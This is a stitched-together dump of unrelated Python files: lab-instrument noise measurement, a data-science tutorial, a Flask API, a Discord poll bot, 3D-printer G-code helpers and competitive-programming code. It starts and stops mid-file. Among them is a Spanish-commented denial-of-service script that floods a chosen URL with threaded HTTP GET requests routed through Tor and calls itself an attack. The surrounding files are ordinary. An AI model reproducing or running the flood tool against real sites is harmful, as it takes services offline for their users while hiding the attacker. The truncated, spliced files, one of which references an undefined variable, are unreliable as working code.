Removing element... 1
The front element is: 2
Removing element... 2
Removing element... 3
The queue is empty. '''


import numpy as np
from time import sleep
from qcodes import (
    load_by_run_spec,
)
from qcodes.utils.dataset.doNd import do1d, do2d, dond, plot, LinSweep, LogSweep
from qcodes.instrument_drivers.stanford_research.SR830 import SR830

from measurement_toolkit.parameters.general_parameters import RepetitionParameter

import matplotlib.ticker as ticker
from matplotlib import pyplot as plt

__all__ = [
    'measure_noise_spectrum',
    'plot_noise_spectrum',
    'measure_lockin_50Hz_noise'
]

def measure_noise_spectrum(
        measure_lockin,
        source_lockin=None,
        time_constant=0.1,
        f_min=1,
        f_max=500,
        df=1,
        repetitions=1,
        show_progress=True,
        plot=True
):
    mask_params = {
        measure_lockin.reference_source: 'internal' if isinstance(measure_lockin, SR830) else 'INT',
        measure_lockin.time_constant: time_constant,
        measure_lockin.frequency: measure_lockin.frequency()
    }

    if source_lockin is not None:
        mask_params[source_lockin.amplitude] = 0

    initial_params = {param: param() for param in mask_params}

    num_f = int(round((f_max - f_min + 1) / df))
    frequency_sweep = LinSweep(measure_lockin.frequency, f_min, f_max, num_f, delay=time_constant * 2)

    metadata = {
        'initial_signal': measure_lockin.R(),
        'source_lockin': getattr(source_lockin, 'name') or None,
        # 'initial_params': {param.name: val for param, val in initial_params.items()},
        # 'mask_params': {param.name: val for param, val in mask_params.items()}
    }

    measure_param = RepetitionParameter(
        target_parameter=measure_lockin.R,
        repetitions=repetitions
    )

    try:
        for param, val in mask_params.items():
            param(val)

        dataset, _, _ = dond(frequency_sweep, measure_param, show_progress=show_progress)
        # dataset.add_metadata('measurement_info', metadata)
        # dataset.save_metadata()
    finally:
        for param, val in initial_params.items():
            param(val)

    if plot:
        plot_noise_spectrum(dataset)
    return dataset

def plot_noise_spectrum(dataset, ax=None, label=None):
    if isinstance(dataset, int):
        dataset = load_by_run_spec(captured_run_id=dataset)

    if ax is None:
        fig, ax = plt.subplots()
    else:
        fig = ax.get_figure()

    arrs = dataset.to_xarray_dataarray_dict()
    arr = next(iter(arrs.values()))
    arr.plot(ax=ax, label=label)

    ax.set_ylabel('Lockin signal R (mV)')

    yscale = 1e3
    ticks = ticker.FuncFormatter(lambda y, pos: '{0:g}'.format(y * yscale))
    ax.yaxis.set_major_formatter(ticks)

    ax.grid('on')
    ax.set_yscale('log')
    return fig, ax

def measure_lockin_50Hz_noise(lockin, source_lockin=None, time_constant=0.1, repetitions=5, return_mean=True,
                              delay_scale=7):
    frequencies = [50, 150, 250]

    mask_params = {
        lockin.reference_source: 'INT',
        lockin.time_constant: time_constant,
        lockin.frequency: lockin.frequency(),
        lockin.amplitude: 0,
    }

    if source_lockin is not None:
        mask_params[source_lockin.amplitude] = 0
        mask_params[source_lockin.frequency] = 16

    initial_params = {param: param() for param in mask_params}

    results = {frequency: [] for frequency in frequencies}

    try:
        for param, val in mask_params.items():
            param(val)

        for k in np.arange(repetitions):
            for frequency in frequencies:
                lockin.frequency(frequency)
                sleep(lockin.time_constant() * delay_scale)

                # Ensure we are not overloaded
                signal_strength = lockin.signal_strength()
                if signal_strength == 4:
                    print('Lockin range overloaded. Please increase lockin.input_range()')
                sensitivity_overloaded = bool(int(lockin.ask('CUROVLDSTAT?')) % 2)
                if sensitivity_overloaded:
                    print('Lockin sensitivity overloaded. Please increase lockin.sensitivity()')

                results[frequency].append(lockin.R())

        if source_lockin is not None:
            source_lockin.amplitude(0.1)
            source_lockin.frequency(16)

            # Ensure we are not overloaded
            signal_strength = lockin.signal_strength()
            if signal_strength == 4:
                print('Lockin range overloaded. Please increase lockin.input_range()')
            sensitivity_overloaded = bool(int(lockin.ask('CUROVLDSTAT?')) % 2)
            if sensitivity_overloaded:
                print('Lockin sensitivity overloaded. Please increase lockin.sensitivity()')

            sleep(lockin.time_constant() * delay_scale)
            results['100mV_excitation'] = []
            for k in np.arange(repetitions):
                results['100mV_excitation'].append(lockin.R())
                sleep(lockin.time_constant())

    finally:
        for param, val in initial_params.items():
            param(val)

    if return_mean:
        results = {key: np.round(np.mean(value), 6) for key, value in results.items()}
    return results


# biblioteka za ogranicenja
import constraint

# 1. definisanje problema
problem = constraint.Problem()
# print(problem)

# 2. definisanje promenljivih
problem.addVariable('x', ['a', 'b', 'c'])
problem.addVariable('y', [1, 2])
problem.addVariable('z', [0.1, 0.2, 0.3])

# 3. definisanje ogranicenja i dodavanje ogranicenja
# ako je ogranicenje zadovoljeno vracamo True
# a ako nije Fale, ne mora eksplicitno da se navodi
def condition(y, z):
    if y/10 == z:
        return True
    else:
        return False

#                       f-ja        njeni parametri
problem.addConstraint(condition, ['y', 'z'])

# 4. resavanje
# vraca listu resenja koji su recnici
# keys - tipovi promenljive
# values - resenja, njena vrednost
resenja = problem.getSolutions()

for r in resenja:
    print(r)

# print(resenja)


# pip3 install pysocks

import sys
import threading
import requests
import socks
import socket
import re

# Variables globales que indican los parametros a usar
cantidad_hilos = 1
cantidad_repeticiones = 10
url = None

puerto = 80

# Lista de hilos que habran trabajando.
hilos = []

# Funcion que se encarga de manejar los parametros que vienen desde la terminal.
# Los chequea e informa si hay un error.
def manejar_parametros():
    for i in range(len(sys.argv)):

        if sys.argv[i] == "-u":
            try:
                global url
                url = sys.argv[i+1]
            except:
                print("No ha ingresado un URL, no se puede llevar a cabo el ataque.")
                sys.exit()

        elif  sys.argv[i] == "-n":

            try:
                global cantidad_hilos
                cantidad_hilos = int(sys.argv[i+1])
            except Exception:
                print("No ha ingresado una cantidad de hilos correcta, se usaran %2d hilos." %(cantidad_hilos))

        elif sys.argv[i] == "-r":
            try:
                global cantidad_repeticiones
                cantidad_repeticiones = int(sys.argv[i+1])
            except Exception:
                print("No ha ingresado una cantidad de repeticiones correcta, se usaran %2d hilos." %(cantidad_repeticiones))

    print("Cantidad de hilos: ", cantidad_hilos )
    print("Cantidad de repeticiones: ", cantidad_repeticiones )
    print("URL: ", str(url) )

# Esta funcion perpetra el ataque y es asociada con cada hilo, por lo que cada hijo ejecuta esta funcion.
def ataque(id, client):

    mensaje = "GET / HTTP/1.1\r\nHost: " + url + "\r\n\r\n"

    for i in range(cantidad_repeticiones):

        client.sendall(mensaje.encode('utf-8'))
        print("Hilo %10d solicitando por %10d vez." % (id+1, i+1))

    # Este codig sirve, solo que no con coneccion por sockets y protocolo TCP, usa requests de python
    """
    session = requests.session()
    session.proxies = {}
    session.proxies['http'] = 'socks5h://localhost:9050'
    session.proxies['https'] = 'socks5h://localhost:9050'

    for i in range(cantidad_repeticiones):
        r = session.get(url)

        # Aca se puede imprimir lo que se desee de la pagina, en este caso, indicamos
        # cual hilo esta atacando por cual vez.
        print("Hilo %10d solicitando por %10d vez." % (id+1, i+1))
    """

# Funcion que inserta en la variable global hilos cada hilo con su respectivo objetivo.
def crear_hilos(client):
    global hilos
    for i in range(cantidad_hilos):

        h = threading.Thread(target = ataque, args = (i,client,))
        hilos.append(h)

# Funcion que aplica .start() cada hilo de la lista.
def iniciar_ataque():
    global hilos

    for i in range(len(hilos)):
        hilos[i].start()

if __name__ == '__main__':

    # Setea el proxy que se va a usar.
    # Este es por el cual se conecta TOR.
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
    client = socks.socksocket()

    manejar_parametros()

    try:
        client.connect((url,puerto))
    except Exception as e:
        print (str(e))
        sys.exit()

    crear_hilos(client)
    iniciar_ataque()


"""""""""""
NumPy Coding

"""""""""""
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np

NumP_Array = np.array([[1, 2, 3], [4, 6, 7]])
NP1 = np.array([[1, 3], [4, 5]])
NP2 = np.array([[3, 4], [5, 7]])
MNP = NP1@NP2
MNP3 = np.dot(NP1, NP2)
MNP2 = NP1*NP2
MNP4 = np.multiply(NP1, NP2)
Sum1 = NP1+NP2
Sub1 = NP1-NP2
Sub2 = np.subtract(NP1, NP2)
np.sum(NP1)
Broad_Nump = NP1+3
NP3 = np.array([[3, 4]])
NP1+NP3
D = np.divide([12, 14, 16], 5)
D = np.floor_divide([12, 14, 16], 5)
np.math.sqrt(10)
ND = np.random.standard_normal((3, 4))
UD = np.random.uniform(1, 12, (3, 4))

# Generate Float No.
np.random.rand()
# Generate Integer No.
Random_Ar = np.random.randint(1, 50, (2, 5))
Ze = np.zeros((3, 4))
Ones = np.ones((3, 4))
Filter_Ar = np.logical_and(Random_Ar > 30, Random_Ar < 50)
F_Random_Ar = Random_Ar[Filter_Ar]
Data_N = np.array([1, 3, 4, 5, 7, 9])
Mean_N = np.mean(Data_N)
Median_N = np.median(Data_N)
Var_N = np.var(Data_N)
SD_N = np.std(Data_N)
NumP_Array = np.array([[1, 2, 3], [4, 6, 7]])
Var_Nump = np.var(NumP_Array, axis=1)
Var_Nump2 = np.var(NumP_Array, axis=0)

"""""""""
Pandas & Series Coding

"""""""""

Age = pd.Series([10, 20, 30, 40], index=['age1', 'age2', 'age3', 'age4'])
Age.age3
Filtered_Age = Age[Age > 10]

# Calling Values of the Series
Age.values
# Calling Indices of the Series
Age.index
Age.index = ['A1', 'A2', 'A3', 'A4']
Age.index

"""""""""
DataFrame

"""""""""
DF = np.array([[20, 10, 8], [25, 8, 10], [27, 5, 3], [30, 9, 7]])
Data_Set = pd.DataFrame(DF)
Data_Set = pd.DataFrame(DF, index=['S1', 'S2', 'S3', 'S4'])
Data_Set = pd.DataFrame(DF, index=['S1', 'S2', 'S3', 'S4'], columns=[
                        'Age', 'Grade1', 'Grade2'])
Data_Set['Grade3'] = [9, 6, 7, 10]
Data_Set.loc['S2']
Data_Set.loc[1][3]
Data_Set.iloc[1][3]
Data_Set.iloc[1, 3]
Data_Set.iloc[:, 0]
Data_Set.iloc[:, 3]
Filtered_Data = Data_Set.iloc[:, 1:3]
Data_Set.drop('Grade1', axis=1)
Data_Set = Data_Set.replace(10, 12)
Data_Set = Data_Set.replace({12: 10, 9: 30})
Data_Set.head(3)
Data_Set.tail(2)
Data_Set.sort_values('Grade1', ascending=True)
Data_Set.sort_index(axis=0, ascending=False)
Data = pd.read_csv('Data_Set.csv')

"""""""""
Visualization with Matplotlib

"""""""""
Year = [2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020]

Temp_I = [0.72, 0.61, 0.65, 0.68, 0.75, 0.90, 1.02, 0.93, 0.85, 0.99, 1.02]

plt.plot(Year, Temp_I)
plt.xlabel('Year')
plt.ylabel('Temp_Index')
plt.title('Global Warming', {'fontsize': 12, 'horizontalalignment': 'center'})
plt.show()

Month = ['Jan', 'Feb', 'March', 'April', 'May',
         'June', 'July', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']

Customer1 = [12, 13, 9, 8, 7, 8, 8, 7, 6, 5, 8, 10]

Customer2 = [14, 16, 11, 7, 6, 6, 7, 6, 5, 8, 9, 12]

plt.plot(Month, Customer1)
plt.plot(Month, Customer2)
plt.show()

plt.plot(Month, Customer1, color='red', label='Customer1', marker='o')
plt.plot(Month, Customer2, color='blue', label='Customer2', marker='^')
plt.xlabel('Month')
plt.ylabel('Electricity Consumption')
plt.title('Building Consumption')
plt.legend(loc='upper right')
plt.show()

plt.subplot(1, 2, 1)
plt.plot(Month, Customer1, color='red', label='Customer1', marker='o')
plt.xlabel('Month')
plt.ylabel('Electricity Consumption')
plt.title('Building Consumption of Customer1')
plt.show()

plt.subplot(1, 2, 2)
plt.plot(Month, Customer2, color='blue', label='Customer2', marker='^')
plt.xlabel('Month')
plt.title('Building Consumption of Customer2')
plt.show()

plt.scatter(Month, Customer1, color='red', label='cutomer1')
plt.scatter(Month, Customer2, color='blue', label='cutomer2')
plt.xlabel('Month')
plt.ylabel('Electricity Consumption')
plt.title('Scatter Plot of Building Consumption')
plt.grid()
plt.legend()
plt.show()

plt.hist(Customer1, bins=10, color='green')
plt.ylabel('Elec Consumption')
plt.title('Histogram')
plt.show()

plt.bar(Month, Customer1, width=0.8, color='b')
plt.show()

plt.bar(Month, Customer1, color='red', label='cutomer1')
plt.bar(Month, Customer2, color='blue', label='cutomer2')
plt.xlabel('Month')
plt.ylabel('Electricity Consumption')
plt.title('Bar Chart')
plt.legend()
plt.show()

bar_width = 0.4

Month_b = np.arange(12)

plt.bar(Month_b, Customer1, bar_width, color='blue', label='Customer1')

plt.bar(Month_b+bar_width, Customer2, bar_width,
        color='red', label='Customer2')

plt.xlabel('Month')
plt.ylabel('Electricity Consumption')
plt.title('Bar Chart')
plt.xticks(Month_b + (bar_width)/12, ('Jan', 'Feb', 'March', 'April',
           'May', 'June', 'July', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'))

plt.legend()
plt.show()

plt.xticks(Month_b + (bar_width)/12, ('Jan', 'Feb', 'March', 'April',
           'May', 'June', 'July', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'))

plt.boxplot(Customer1, notch=False, vert=True)

plt.boxplot([Customer1, Customer2], patch_artist=True,
            boxprops=dict(facecolor='red', color='red'),
            whiskerprops=dict(color='green'),
            capprops=dict(color='blue'),
            medianprops=dict(color='yellow'))

plt.show()


from click.testing import CliRunner
from json import dumps
from flask import Flask, jsonify, request, Response
import sys
import os
import re
sys.path.append(
    "/home/luuthanh/Desktop/Keyword_extraction/Backend/Module")
from Module.yake import highlight
from Module.yake import yake
app = Flask(__name__)

# def pre_process(text):

#     # lowercase
#     text=text.lower()

#     #remove tags
#     text=re.sub("</?.*?>"," <> ",text)

#     # remove special characters and digits
#     text=re.sub("(\\d|\\W)+"," ",text)

#     return text

@app.route("/api/home", methods=["POST", "GET"])
def get_text():
    if request.method == 'POST':
        # print(request.json)
        text = request.json.get('text')
        # lan = request.json.get('lan')
        ngram = request.json.get('ngram')
        # feauture = request.json.get('feauture')
        numofwords = request.json.get('numOfKeyWords')

        # yake is here
        keywords = yake.KeywordExtractor(lan="vi", n=ngram , dedupLim=0.5, dedupFunc='jaro', windowsSize=1, top=numofwords)
        resultWords = keywords.extract_keywords(text)
        resultWords = [(k[0].replace("_"," "), round(k[1],5)) for k in resultWords]
        # print(resultWords)
        th = highlight.TextHighlighter(max_ngram_size=ngram)
        text_hg = th.highlight(text, resultWords)

        # word  = [w[0] for w in resultWords]

        # text = text.lower()
        # for i in word:
        #     text = text.replace(" {} ".format(i)," {} ".format(i))

        # print(text_hg)
        # word = [w[0].replace("_"," ") for w in resultWords]
        # for w in word:
        #     text = text.replace(w,'{}'.format(w))
        # print(word)
        # print(text)

        array = []
        for i in resultWords:
            arr = {}
            arr["word"] = i[0]
            arr["score"] = i[1]
            array.append(arr)

        # print(resultWords)
        result = {}
        result['text'] = text_hg
        result['result'] = array
        print(result['result'])
        return jsonify(result)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)


import math

class MyHashSet:

    def __init__(self):
        self.size = 20000
        self.array_extension = 10
        self.extension_coeff = 0.7
        self.container = [None] * self.size
        self.elements_counter = 0

    def add(self, key: int) -> None:
        if self.elements_counter > (self.extension_coeff * len(self.container)):
            # self.size += self.array_extension
            self.container = self.container + [None] * self.array_extension
        self.__add(key)

    def __add(self, key: int) -> None:
        value = self.__get(key)
        if value is not None:
            if isinstance(value, int):
                value = [value]
            value.append(key)
        else:
            self.container[self.__hash(key)] = key
            self.elements_counter += 1

    def remove(self, key: int) -> None:
        if self.contains(key):
            self.container[self.__hash(key)] = None
            self.elements_counter -= 1

    def contains(self, key: int) -> bool:
        return self.__get(key) is not None

    def __get(self, key: int):
        value = self.container[self.__hash(key)]
        if isinstance(value, list):
            if key in value:
                return key
            return None
        if value != key:  # happened collision
            return None
        return value

    def __hash(self, key: int):
        return key % self.size

functions = ["contains", "remove", "add", "add", "contains", "remove", "contains", "contains", "add", "add", "add", "add", "remove", "add", "add", "add", "add", "add", "add", "add", "add", "add", "add", "contains", "add", "contains", "add", "add", "contains", "add", "add", "remove", "add", "add", "add", "add", "add", "contains", "add", "add", "add", "remove", "contains", "add", "contains", "add", "add", "add", "add",
             "add", "contains", "remove", "remove", "add", "remove", "contains", "add", "remove", "add", "add", "add", "add", "contains", "contains", "add", "remove", "remove", "remove", "remove", "add", "add", "contains", "add", "add", "remove", "add", "add", "add", "add", "add", "add", "add", "add", "remove", "add", "remove", "remove", "add", "remove", "add", "remove", "add", "add", "add", "remove", "remove", "remove", "add", "contains", "add"]
values = [[72], [91], [48], [41], [96], [87], [48], [49], [84], [82], [24], [7], [56], [87], [81], [55], [19], [40], [68], [23], [80], [53], [76], [93], [95], [95], [67], [31], [80], [62], [73], [97], [33], [28], [62], [81], [57], [40], [11], [89], [28], [97], [86], [20], [5], [77], [52], [57], [88], [
    20], [48], [42], [86], [49], [62], [53], [43], [98], [32], [15], [42], [50], [19], [32], [67], [84], [60], [8], [85], [43], [59], [65], [40], [81], [55], [56], [54], [59], [78], [53], [0], [24], [7], [53], [33], [69], [86], [7], [1], [16], [58], [61], [34], [53], [84], [21], [58], [25], [45], [3]]
obj = MyHashSet()
rules = {
    "contains": obj.contains,
    "remove": obj.remove,
    "add": obj.add
}

results = []
index = 0
for (value, fun, exp) in zip(values, functions, expected):
    res = rules[fun](value[0])
    if res != exp:
        print("Here")
    results.append(res)
    index += 1
print(results)


# Pollover is a Discord bot that allows users to create polls in discord servers, as well as fetch random trivia questions from an API for users to answer

import discord
import os
import sqlite3
import requests
import random
import html
from discord import option
from http_server import start_server

# Instantiating a bot object
bot = discord.Bot()

# Retrieving the bot token from environmental variable
bot_token = os.environ['TOKEN']

# Making the connection with the sqlite3 polls database
db = sqlite3.connect("polls")

# Clear DB:
# db.execute("DROP TABLE poll")
# db.execute("DROP TABLE poll_options")
# db.execute("DROP TABLE votes")

# Creating a table which contains the name and author and description of a poll
db.execute(
  "CREATE TABLE IF NOT EXISTS poll (name TEXT PRIMARY KEY NOT NULL, author TEXT NOT NULL, description TEXT NOT NULL);"
)

# Creating a table which saves all options for a poll.
db.execute(
  "CREATE TABLE IF NOT EXISTS poll_options (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, name TEXT NOT NULL, poll_name TEXT NOT NULL, FOREIGN KEY(poll_name) REFERENCES poll(name) ON DELETE CASCADE);"
)

# Creating a table which saves all votes for a poll.
db.execute(
  "CREATE TABLE IF NOT EXISTS votes (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, voter TEXT NOT NULL, poll_name TEXT NOT NULL, option TEXT NOT NULL, FOREIGN KEY(option) REFERENCES poll_options(name) ON DELETE CASCADE, FOREIGN KEY(poll_name) REFERENCES poll(name) ON DELETE CASCADE);"
)

# Helper function for returning option object list for the SelectVote class
def options_maker(poll_name):
  option_query = db.execute(
    "SELECT name FROM poll_options WHERE poll_name = ?", (poll_name, ))
  option_query = option_query.fetchall()
  options_vote_view = []

  for option_var in option_query:
    option_name = option_var[0]
    option_object = discord.SelectOption(label=option_name, value=option_name)
    options_vote_view.append(option_object)

  return options_vote_view

# Helper function for returning trivia answers object list for the SelectTrivia class
def trivia_options(answers):
  answer_trivia_view = []

  for answer in answers:
    answer_object = discord.SelectOption(label=answer, value=answer)
    answer_trivia_view.append(answer_object)

  return answer_trivia_view

# Helper function for returning progress bar string
def get_progress(num):
  num = int(num)
  progress_bar = ""

  for bar in range(num):
    progress_bar += "I"

  return progress_bar

# Helper function for getting stats of the poll
def get_stats(poll_name):
  options = db.execute("SELECT name FROM poll_options WHERE poll_name = ?",
                       (poll_name, ))
  options = options.fetchall()
  options_list = []
  votes_list = []

  stats_string = "The stats of the poll:\n"
  votes_sum = 0

  for option_var in options:
    option_name = option_var[0]
    options_list.append(option_name)
    count = db.execute(
      "SELECT COUNT(id) FROM votes WHERE poll_name = ? AND option = ?",
      (poll_name, option_name))
    count = count.fetchall()
    count = int(count[0][0])
    votes_sum += count
    votes_list.append(count)

  for i in range(len(options_list)):

    percentage = (votes_list[i] / votes_sum) * 100
    bar = get_progress(percentage)
    stats_string += f"{options_list[i]}:\n{bar} {percentage}% ({votes_list[i]} votes)\n"

  return stats_string

# Helper function for removing hash from discord username (this function is not used in this code but i kept it anyway)
def remove_hash(author):
  index_rmv = len(author) - 5
  new_author = ""
  for i in range(len(author)):
    if i == index_rmv:
      pass
    else:
      new_author = new_author + author[i]

  return new_author

# Class for representing vote options in a dropdown for the vote view. Subclass of the Discord Select class.
class SelectVote(discord.ui.Select):

  def __init__(self, view, poll_name):
    self._view = view
    self.poll_name = poll_name
    options = options_maker(self.poll_name)
    super().__init__(placeholder="Vote Options",
                     max_values=1,
                     min_values=1,
                     options=options)

  async def callback(self, interaction: discord.Interaction):
    option_selected = self.values[0]
    user_var = str(interaction.user)
    poll_check = db.execute("SELECT name FROM poll WHERE name = ?",
                            (self.poll_name, ))
    poll_check = poll_check.fetchall()
    if len(poll_check) == 0:
      await interaction.response.send_message("This poll has been closed.",
                                              ephemeral=True)
      return

    option_check = db.execute(
      "SELECT option FROM votes WHERE voter = ? AND poll_name = ?",
      (user_var, self.poll_name))
    option_check = option_check.fetchall()
    if len(option_check) != 0:
      await interaction.response.send_message(
        f"You already voted for {option_check[0][0]}!", ephemeral=True)
      return

    db.execute("INSERT INTO votes (voter, poll_name, option) VALUES (?, ?, ?)",
               (user_var, self.poll_name, option_selected))
    db.commit()
    await interaction.response.send_message(
      f"You voted for {self.values[0]}\n{get_stats(self.poll_name)}",
      ephemeral=True)

# Class for representing the view that is sent after a successfull /poll command. Subclass of the Discord View class
class VoteView(discord.ui.View):

  def __init__(self, poll_name, *, timeout=None):
    self.poll_name = poll_name
    super().__init__(timeout=timeout)
    self.add_item(SelectVote(self, self.poll_name))

# Class for representing trivia answers in a dropdown for the trivia view. Subclass of the Discord Select class.
class SelectTrivia(discord.ui.Select):

  def __init__(self, view, correct_answer, answers):
    self._view = view
    self.correct_answer = correct_answer
    self.answers = answers
    options = trivia_options(answers)
    super().__init__(placeholder="Vote Options",
                     max_values=1,
                     min_values=1,
                     options=options)

  async def callback(self, interaction: discord.Interaction):
    option_selected = self.values[0]

    if str(option_selected) == self.correct_answer:
      await interaction.response.send_message("You are correct!",
                                              ephemeral=True)

      return

    await interaction.response.send_message("You are wrong!", ephemeral=True)

# Class for representing the view that is sent after a /trivia command. Subclass of the Discord View class
class TriviaView(discord.ui.View):

  def __init__(self, correct_answer, answers, *, timeout=None):
    self.correct_answer = correct_answer
    self.answers = answers
    super().__init__(timeout=timeout)
    self.add_item(SelectTrivia(self, self.correct_answer, self.answers))

@bot.event
async def on_ready():
  print('Ready!')

# /poll command for creating polls. Takes name, options and description (optional) as arguments then sends the poll with a dropdown menu for selecting the vote.
@bot.command(name='poll', description="Creates a poll.")
@option("name", description="Poll name (used as a unique identifier)")
@option("options",
        description="Options (options separated by tilde character (~))")
@option("description", description="Poll Description", default="")
async def poll(ctx, name: str, options: str, description: str):

  if bot.user == ctx.author:
    return

  check_taken = db.execute("SELECT name FROM poll WHERE name = ?", (name, ))
  check_taken = check_taken.fetchall()
  if len(check_taken) != 0:
    await ctx.respond("This name is already taken.", ephemeral=True)
    return

  options = options.split("~")
  for option_var in options:
    option_var = option_var.strip()
    if len(option_var) > 30:
      await ctx.respond(
        "Please provide options of 30 characters or less each.",
        ephemeral=True)
      return

  if len(options) <= 1:
    await ctx.respond(
      "Must provide more than one option (separated by spaces and use quotation marks if more than one word).",
      ephemeral=True)
    return

  if len(name) > 30 or len(description) > 300:
    await ctx.respond(
      "Please provide a name of 30 characters or less and a description of 300 characters or less",
      ephemeral=True)
    return

  author = str(ctx.author)

  db.execute("INSERT INTO poll (name, author, description) VALUES (?, ?, ?)",
             (name, author, description))

  for option_var in options:
    db.execute("INSERT INTO poll_options (name, poll_name) VALUES (?, ?)",
               (option_var, name))

  db.commit()

  await ctx.respond(description, view=VoteView(name))

# /closepoll command for ending polls. Takes poll name as argument. Must be poll creator to end the poll.
@bot.command(name='closepoll', description="Closes a poll.")
@option("name", description="Poll name")
async def close_poll(ctx, name: str):

  author = str(ctx.author)

  all_polls = db.execute("SELECT * FROM poll WHERE name = ? AND author = ?",
                         (name, author))
  all_polls = all_polls.fetchall()
  if len(all_polls) == 0:
    await ctx.respond(
      "Request Failed. Please make sure that the poll name is correct and that you're the author of the poll.",
      ephemeral=True)
    return

  stats_string = get_stats(name)
  await ctx.respond(f"Poll of name {name} is over.\n{stats_string}")

  db.execute("DELETE FROM poll WHERE name = ?", (name, ))

  db.commit()

# /trivia command for extracting a random trivia question from Open Trivia DB API (https://opentdb.com/). Takes no additional arguments, then sends the question with a dropdown menu for the answers.
@bot.command(name='trivia', description="Gets a trivia question")
async def trivia(ctx):

  response = requests.get("https://opentdb.com/api.php?amount=1").json()

  question = response["results"][0]["question"]

  question = html.unescape(question)

  correct_answer = response["results"][0]["correct_answer"]

  incorrect_answers = response["results"][0]["incorrect_answers"]

  answers = []

  answers.append(correct_answer)

  for answer in incorrect_answers:
    answers.append(html.unescape(answer))

  random.shuffle(answers)

  await ctx.respond(question, view=TriviaView(correct_answer, answers))

start_server()
bot.run(bot_token)


from pyramid.renderers import get_renderer
from pyramid.decorator import reify

class Navigation(object):
    '''
    Encapsulate the logic for building the navigation above each calendar.
    '''
    def __init__(self, calendar_presenter):
        self._presenter = calendar_presenter

        self._init_left_side()
        self._init_right_side()

    def _init_left_side(self):
        ''' [ Today ]  [ < ]  [ > ] '''
        self.today_url = None
        self.next_url  = None
        self.prev_url  = None

    def _init_right_side(self):
        ''' [ Day ]  [ Week ]  [ Month ]  [ List ] '''
        fmt = '%s?year=%d&month=%d&day=%d'

        for view_name in ('day', 'week', 'month', 'list'):
            url = self._presenter.url_for('%s.html' % view_name)
            sub = (url, self._presenter.focus_datetime.year,
                        self._presenter.focus_datetime.month,
                        self._presenter.focus_datetime.day)
            setattr(self, '%s_button_url' % view_name, fmt % sub)
            setattr(self, '%s_button_img' % view_name, '%s_up.png' % view_name)

        # Depress active button
        setattr(self, '%s_button_img' % self._presenter.name,
                      '%s_down.png'   % self._presenter.name)

    @reify
    def _template(self):
        path = 'karl.content.views:templates/calendar_navigation.pt'
        return get_renderer(path).implementation()

    @property
    def macros(self):
        return self._template.macros


__author__ = 'Tom Van den Eede'
__copyright__ = 'Copyright 2018-2022, Palette2 Splicer Post Processing Project'
__credits__ = ['Tom Van den Eede']
__license__ = 'GPLv3'
__maintainer__ = 'Tom Van den Eede'
__email__ = 'P2PP@pandora.be'

# Added functionality for manual swap - Manmeet Singh

import p2pp.variables as v
import p2pp.gui as gui
import p2pp.gcode as gc

warning = True

def swap_pause(command):
    global warning
    if v.z_maxheight > 0:
        lift = min(v.current_position_z + 20, v.z_maxheight)
    else:
        lift = v.current_position_z + 20
        if warning:
            gui.log_warning("Manual swap lift of 20 without constraint!!")

    gc.issue_code(";MANUAL SWAP PAUSE SEQUENCE")
    gc.issue_code("G1 Z{:.2f} F10800".format(lift))
    gc.issue_code(command)

def swap_unpause(z=v.current_position_z):
    gc.issue_code("G1 Z{:.2f} F10800".format(z))


for Mahou_Shoujo_Madoka_Magica in range(int(input())):
	Madoka = input()
	Homura = [int(i) for i in input().split()]
	k = Homura[0]
	m = Homura[1]
	n = Homura[2]
	l_a = [int(i) for i in input().split()]
	l_b = [int(i) for i in input().split()]

	a = 0    #Current step of Monocarp
	b = 0    #Current step of Polycarp
	ans = [] #The valid set of steps, if it exists
	possible = True

	while a < m and b < n:
		if l_a[a] == 0:
			ans.append(0)
			a += 1
			k += 1
		elif l_a[a] <= k:
			ans.append(l_a[a])
			a += 1
		elif l_b[b] == 0:
			ans.append(0)
			b += 1
			k += 1
		elif l_b[b] <= k:
			ans.append(l_b[b])
			b += 1
		else:
			possible = False
			break

	if a == m and possible:
		while b < n:
			if l_b[b] == 0:
				ans.append(0)
				b += 1
				k += 1
			elif l_b[b] <= k:
				ans.append(l_b[b])
				b += 1
			else:
				possible = False
				break
	elif b == n and possible:
		while a < m:
			if l_a[a] == 0:
				ans.append(0)
				a += 1
				k += 1
			elif l_a[a] <= k:
				ans.append(l_a[a])
				a += 1
			else:
				possible = False
				break

	if possible:
		ans = [str(i) for i in ans]
		print(' '.join(ans))
	else:
		print(-1)


from concurrent.futures import Executor, Future, InvalidStateError
from contextlib import suppress
from queue import SimpleQueue
from typing import Any, Callable, TypeVar, cast

T = TypeVar("T")

class SingleThreadExecutor:
    def __init__(self, pool: Executor) -> None:
        self._q: SimpleQueue = SimpleQueue()
        pool.submit(self._forever)

    def _forever(self) -> None:
        while True:
            f = self._q.get()
            f()

    def submit(self, f: Callable[..., T], *args: Any, **kwargs: Any) -> T:
        fut: Future = Future()

        def cont() -> None:
            try:
                ret = f(*args, **kwargs)
            except Exception as e:
                with suppress(InvalidStateError):
                    fut.set_exception(e)
            else:
                with suppress(InvalidStateError):
                    fut.set_result(ret)

        self._q.put(cont)
        return cast(T, fut.result())


# -*- coding: utf-8; -*-
#
# (c) 2011-2015 Thomas Bellembois thomas.bellembois@ens-lyon.fr
#
# This file is part of Chimithèque.
#
# Chimithèque is free software; you can redistribute it and/or modify
# it under the terms of the Cecill as published by the CEA, CNRS and INRIA
# either version 2 of the License, or (at your option) any later version.
#
# Chimithèque is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the Cecill along with Chimithèque.
# If not, see <http://www.cecill.info/licences/>.
#
# SVN Revision:
# -------------
# $Id: db.py 222 2015-07-21 16:06:35Z tbellemb2 $
#
import logging
import sys
import os
from gluon import current
from gluon.html import XML
from beaker.cache import CacheManager
from beaker.util import parse_cache_config_options

NOTSET = logging.NOTSET
DEBUG = logging.DEBUG
INFO = logging.INFO
WARNING = logging.WARNING
ERROR = logging.ERROR
CRITICAL = logging.CRITICAL

def LINE( back = 1 ):
